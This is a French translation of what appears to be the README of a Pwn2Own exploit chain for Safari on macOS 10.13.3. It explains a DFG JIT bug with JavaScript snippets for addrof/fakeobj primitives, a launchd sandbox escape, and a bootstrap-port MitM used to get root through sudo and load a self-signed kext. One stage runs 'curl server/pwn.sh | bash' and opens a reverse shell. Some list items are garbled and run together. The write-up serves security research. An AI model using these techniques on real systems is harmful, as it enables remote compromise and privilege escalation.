
Un exploit chain Pwn2Own
RCE sur Safari, évasion du sandbox et LPE jusqu'au noyau pour macOS 10.13.3.
Installez nasm et tornado :
brew install nasm
pip3 install tornado
Consultez config.py si vous souhaitez changer l'hôte ou les ports. Démarrez ensuite le serveur avec ./server.py et naviguez vers l'URL affichée.
Cette chaîne d'exploitation utilise trois bugs différents pour passer du code JavaScript exécuté dans Safari à l'exécution de code en mode noyau :
La chaîne d'exploitation est implémentée en six étapes, chacune située dans son propre sous-répertoire :
Chaque sous-répertoire (à l'exception de libspc/) contient un fichier nommé make.py qui, lorsqu'il est exécuté, effectue toutes les commandes de build nécessaires et crée une liste de fichiers à servir par le serveur web.
Objectif : obtenir l'exécution de shellcode dans le processus WebContent sandboxé
Bug exploité : optimisation incorrecte dans le compilateur JIT DFG
Voir aussi cette présentation BlackHat
Le compilateur JIT DFG représente le code JavaScript dans sa propre représentation intermédiaire (IR), le Data Flow Graph (DFG). En général, une expression JavaScript est traduite en une ou plusieurs instructions IR dans ce graphe. Dans le cas d'une fonction constructeur, l'instruction CreateThis est émise et est responsable de l'allocation de l'objet this construit par la fonction. Par exemple, la fonction function Consructor() {}, lorsqu'elle est appelée avec new, serait approximativement traduite en
v0 = CreateThis
return v0
En regardant l'AbstractInterpreter, nous pouvons voir que le compilateur JIT DFG suppose que l'opération CreateThis n'entraîne aucun effet de bord en dehors d'une allocation sur le tas. En effet, ce code :
function Constructor(obj) {
return obj.x;
}
sera approximativement traduit en instructions DFG suivantes :
(Ici, le StructureCheck a été déplacé au début de la fonction par la TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Cependant, cette hypothèse est invalide, car le code du chemin lent (slow-path) de CreateThis peut exécuter du code JavaScript arbitraire dans certains cas. En particulier, en utilisant un Proxy autour de la fonction réelle, le piège get pour la propriété « prototype » sera appelé pendant le gestionnaire du chemin lent de CreateThis, car il doit récupérer l'objet prototype pour l'objet construit :
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Ainsi, il est désormais possible de modifier la Structure d'un objet sans que le compilateur JIT n'effectue de bailout.
Ce bug peut être utilisé pour construire les primitives addrof et fakeobj comme suit :
Nous compilons le code pour le cas d'un JSArray avec des éléments doubles unboxed, puis, dans le callback, nous passons à des éléments JSValue. Ensuite, le code JIT chargera une JSValue depuis le tableau, mais traitera ces bits comme un double et nous les renverra. Le code suivant assignera l'adresse de leakme à la propriété « address » de l'objet construit.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Ici, nous faisons essentiellement l'inverse : nous optimisons le code pour stocker un double dans un tableau avec des éléments doubles unboxed, puis nous passons à nouveau à des éléments JSValue dans le callback. Le code continuera d'écrire notre double contrôlé sous forme unboxed dans le stockage de sauvegarde. Lorsque nous accéderons plus tard à cet élément du tableau, il traitera ces bits comme une JSValue au lieu d'un double. Le code suivant écrira le double unboxed address dans le tampon de sauvegarde de a, que nous pourrons ensuite lire comme JSValue, ce qui nous permet d'« injecter » des JSValues de notre choix dans le moteur.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
Nous nous retrouvons ainsi avec la capacité d'écrire un double et de le traiter comme un pointeur JSObject, et vice versa. Cela peut être exploité comme décrit dans attacking javascript engines.
L'exploit parvient d'abord à obtenir une lecture/écriture arbitraire de la mémoire du processus en simulant un Float64Array, puis recherche la région JIT (mappée RWX) et y écrit le shellcode de l'étape 1.
Objectif : amorcer l'étape 2 en écrivant un .dylib sur le disque et en le chargeant via dlopen()
Un court payload en assembleur qui fait essentiellement ce qui suit :
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) pour obtenir un chemin vers un répertoire accessible en écrituredlopen()Objectif : sortir du sandbox
Bug exploité : vérifications de sandbox manquantes dans l'API « legacy_spawn » de launchd
Voir aussi cette présentation
Launchd expose le point de terminaison RPC « legacy_spawn » comme routine 817 dans le sous-système 3. Cette API ne vérifie pas si l'appelant est autorisé à lancer des processus et se contentera d'appeler execve sur n'importe quel binaire du système pour l'appelant, avec des arguments contrôlés. Comme launchd est accessible via le port bootstrap, cela permet de s'échapper du sandbox.
L'exploit exécute essentiellement curl server/pwn.sh | bash et passe ainsi le contrôle à l'étape 3.
Objectif : faire apparaître la calculatrice et amorcer les étapes restantes
Cette étape exécute open /Applications/Calculator.app et établit un shell inversé, puis récupère tous les fichiers requis pour les étapes restantes et exécute les exploits.
Objectif : obtenir root via un exploit LPE
Bug exploité : MitM sur le port bootstrap de XNU
Voir aussi cette présentation POC
Dans XNU, l'API task_set_special_port permet aux appelants de remplacer leur port bootstrap, qui est utilisé pour communiquer avec launchd. Ce port est hérité lors des forks : les processus enfants utiliseront le même port bootstrap que le parent. Un problème de sécurité survient alors si le processus enfant est plus privilégié que le parent, comme c'est le cas par exemple avec sudo (un binaire setuid) ou kextutil (qui possède l'entitlement « com.apple.rootless.kext-management »). En remplaçant le port bootstrap et en forkant un processus enfant, nous pouvons désormais obtenir une position MitM entre notre enfant et launchd (que notre enfant s'attend à atteindre lorsqu'il envoie des messages au port bootstrap). Le processus enfant demandera à launchd de résoudre divers services mach et XPC. En résolvant ces services vers d'autres ports que nous contrôlons, nous pouvons également obtenir une position MitM avec des services système arbitraires utilisés par notre processus enfant. L'exploitation dépend ensuite de la manière dont ces services sont utilisés par le programme attaqué.
Pour obtenir root, nous ciblons le binaire sudo et interceptons sa communication avec opendirectoryd, qui est utilisé par sudo pour vérifier les identifiants. Nous modifions les réponses d'opendirectoryd pour faire croire que notre mot de passe était valide.
Il semble qu'une tentative de correction de ce problème ait eu lieu, car libxpc (qui assure la communication avec launchd) vérifie que les réponses proviennent bien d'un processus avec uid=0 et pid=1 (== launchd). Cependant, ces vérifications sont insuffisantes. Nous pouvons les contourner comme suit pour résoudre opendirectoryd vers notre propre port :
net.saelo.hax) auprès de launchd à l'aide de l'API bootstrap_register2com.apple.system.opendirectoryd.api par net.saelo.haxTout ce qui reste désormais (pour une élévation de privilèges vers root) est de transférer les messages entre opendirectoryd et sudo, mais en remplaçant la réponse d'erreur d'authentification par une réponse de succès.
Objectif : charger une extension de noyau (auto-signée)
Bug exploité : MitM sur le port bootstrap de XNU
Cet exploit utilise la même faille que l'étape 4, mais cette fois en ciblant kextutil. Nous interceptons la connexion à com.apple.trustd et usurpons la chaîne de certificats, ce qui amène kextutil à penser que notre kext auto-signé est en réalité signé directement par Apple.
kextutil procède approximativement comme suit lorsqu'on lui demande de charger un .kext depuis le disque :
trustd pour obtenir la chaîne de certificats et déterminer si le certificat racine est de confiancesyspolicyd. Cependant, si syspolicyd est inaccessible, kextutil continue simplementCela permet l'attaque suivante pour charger des extensions de noyau auto-signées :
com.apple.trustd vers notre propre servicetrustd et répondre avec une chaîne de certificats codée en dur d'un .kext Apple officielsyspolicyd (par ex. en remplaçant com.apple.security.syspolicy.kext par net.saelo.lolno dans les requêtes de recherche de service adressées à launchd)kextutil chargera alors notre extension de noyau dans le noyau.